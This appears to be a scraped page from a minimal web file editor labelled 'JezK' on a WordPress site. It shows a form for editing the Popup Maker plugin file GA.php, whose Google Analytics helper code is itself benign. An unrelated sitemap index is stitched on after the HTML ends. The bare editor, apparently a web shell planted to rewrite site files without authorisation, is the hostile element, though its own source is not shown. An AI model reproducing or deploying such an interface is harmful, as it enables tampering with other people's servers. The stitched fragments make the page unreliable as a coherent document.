
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: GA.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Google Analytics helpers
 *
 * @package   PopupMaker
 * @copyright Copyright (c) 2024, Code Atlantic LLC
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * Class PUM_GA
 *
 * @package Ahoy
 */
class PUM_GA {

	/**
	 * Get PUM_GA uuid.
	 *
	 * @return mixed|string
	 */
	public static function get_uuid() {
		static $uuid;

		if ( ! isset( $uuid ) ) {
			$cookie = self::parse_cookie();

			if ( is_array( $cookie ) &amp;&amp; ! empty( $cookie[&#039;cid&#039;] ) ) {
				$uuid = $cookie[&#039;cid&#039;];
			} else {
				$uuid = self::generate_uuid();
			}
		}

		return $uuid;
	}

	/**
	 * Handle the parsing of the _ga cookie or setting it to a unique identifier
	 */
	public static function parse_cookie() {
		static $cookie = false;

		if ( ! $cookie &amp;&amp; isset( $_COOKIE[&#039;_ga&#039;] ) ) {
			list( $version, $domain_depth, $cid1, $cid2 ) = preg_split( &#039;[\.]&#039;, sanitize_text_field( wp_unslash( $_COOKIE[&#039;_ga&#039;] ) ), 4 );
			$cookie                                       = [
				&#039;version&#039;     =&gt; $version,
				&#039;domainDepth&#039; =&gt; $domain_depth,
				&#039;cid&#039;         =&gt; $cid1 . &#039;.&#039; . $cid2,
			];
		}

		return $cookie;
	}

	/**
	 * Generate UUID v4 function - needed to generate a CID when one isn&#039;t available
	 */
	public static function generate_uuid() {
		return sprintf(
			&#039;%04x%04x-%04x-%04x-%04x-%04x%04x%04x&#039;, // 32 bits for &quot;time_low&quot;
			wp_rand( 0, 0xffff ),
			wp_rand( 0, 0xffff ),
			// 16 bits for &quot;time_mid&quot;
			wp_rand( 0, 0xffff ),
			// 16 bits for &quot;time_hi_and_version&quot;,
			// four most significant bits holds version number 4
			wp_rand( 0, 0x0fff ) | 0x4000,
			// 16 bits, 8 bits for &quot;clk_seq_hi_res&quot;,
			// 8 bits for &quot;clk_seq_low&quot;,
			// two most significant bits holds zero and one for variant DCE1.1
			wp_rand( 0, 0x3fff ) | 0x8000,
			// 48 bits for &quot;node&quot;
			wp_rand( 0, 0xffff ),
			wp_rand( 0, 0xffff ),
			wp_rand( 0, 0xffff )
		);
	}


	/**
	 * Fire a hit to the google analytis collection api.
	 *
	 * See https://developers.google.com/analytics/devguides/collection/protocol/v1/devguide
	 *
	 * @param null $data
	 *
	 * @return array|bool|WP_Error
	 */
	public static function fire_hit( $data = null ) {
		if ( $data ) {
			$get_string  = &#039;https://ssl.google-analytics.com/collect&#039;;
			$get_string .= &#039;?payload_data&amp;&#039;;
			$get_string .= http_build_query( $data );
			$result      = wp_remote_get( $get_string );

			return $result;
		}

		return false;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
